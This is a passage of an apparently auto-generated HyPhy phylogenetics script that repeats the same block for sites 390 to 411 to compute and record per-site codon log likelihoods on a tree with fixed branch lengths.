390\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"390\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 391...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1170,1171,1172\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 391\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"391\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 392...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1173,1174,1175\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 392\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"392\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 393...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1176,1177,1178\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 393\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"393\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 394...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1179,1180,1181\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 394\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"394\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 395...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1182,1183,1184\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 395\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"395\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 396...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1185,1186,1187\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 396\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"396\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 397...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1188,1189,1190\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 397\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"397\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 398...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1191,1192,1193\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 398\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"398\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 399...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1194,1195,1196\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 399\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"399\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 400...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1197,1198,1199\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 400\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"400\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 401...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1200,1201,1202\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 401\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"401\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 402...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1203,1204,1205\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 402\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"402\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 403...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1206,1207,1208\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 403\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"403\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 404...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1209,1210,1211\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 404\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"404\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 405...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1212,1213,1214\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 405\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"405\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 406...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1215,1216,1217\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 406\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"406\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 407...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1218,1219,1220\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 407\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"407\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 408...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1221,1222,1223\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 408\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"408\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 409...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1224,1225,1226\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 409\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"409\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 410...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1227,1228,1229\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 410\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"410\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 411...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1230,1231,1232\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 411\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, 